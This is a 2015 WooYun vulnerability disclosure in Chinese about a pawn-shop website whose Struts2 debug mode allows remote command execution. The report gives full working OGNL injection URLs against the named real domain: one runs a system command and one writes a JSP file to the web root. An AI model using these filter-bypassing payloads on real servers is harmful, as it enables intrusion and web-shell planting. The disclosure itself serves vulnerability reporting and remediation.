当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0102535

漏洞标题：信邦典当网站可绕过过滤getshell可入内网（windows机）

相关厂商：信邦典当

漏洞作者： 杀器王子

提交时间：2015-03-20 11:07

修复时间：2015-05-04 15:32

公开时间：2015-05-04 15:32

漏洞类型：系统/服务运维配置不当

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-20： 细节已通知厂商并且等待厂商处理中
2015-03-20： 厂商已经确认，细节仅向厂商公开
2015-03-30： 细节向核心白帽子及相关领域专家公开
2015-04-09： 细节向普通白帽子公开
2015-04-19： 细节向实习白帽子公开
2015-05-04： 细节向公众公开

简要描述：

信邦典当网站可绕过过滤getshell可入内网（windows机）

详细说明：

http://pawn.ecitic.com/mainBusiness
新邦典当 开启了debug
但是过滤了通用poc的部分关键字
可绕过

漏洞证明：

http://pawn.ecitic.com/mainBusiness?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredFields()[0],%23f.setAccessible(true),%23f.set(%23_memberAccess,true),
%23req%[email protected]@getRequest(),
%23resp%[email protected]@getResponse().getWriter(),
%23a%3D(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),
%23b%3D%23a.getInputStream(),
%23c%3Dnew java.io.InputStreamReader(%23b),
%23d%3Dnew java.io.BufferedReader(%23c),
%23e%3Dnew char[1000],
%23d.read(%23e),
%23resp.println(%23e),
%23resp.close()


Snip20150320_4.png


http://pawn.ecitic.com/mainBusiness?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredFields()[0],%23f.setAccessible(true),%23f.set(%23_memberAccess,true),
%23req%[email protected]@getRequest(),
%23resp%[email protected]@getResponse().getWriter(),
%23p%3d%23req.getRealPath(%22/%22)%2b%23req.getParameter(%22f%22),
%23s%3dnew+java.io.RandomAccessFile(%23p,%22rw%22),%23s.write(%23req.getParameter(%22c%22).getBytes()),%23s.close(),
%23resp.println(%23p%3d%23req.getRealPath(%22/%22)),%23resp.close()&f=1.jsp&c=test


Snip20150320_5.png

修复方案：

关闭debug

版权声明：转载请注明来源 杀器王子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-03-20 15:31

厂商回复：

CNVD确认所述情况，已转由CNCERT向相关部门通报。

最新状态：

暂无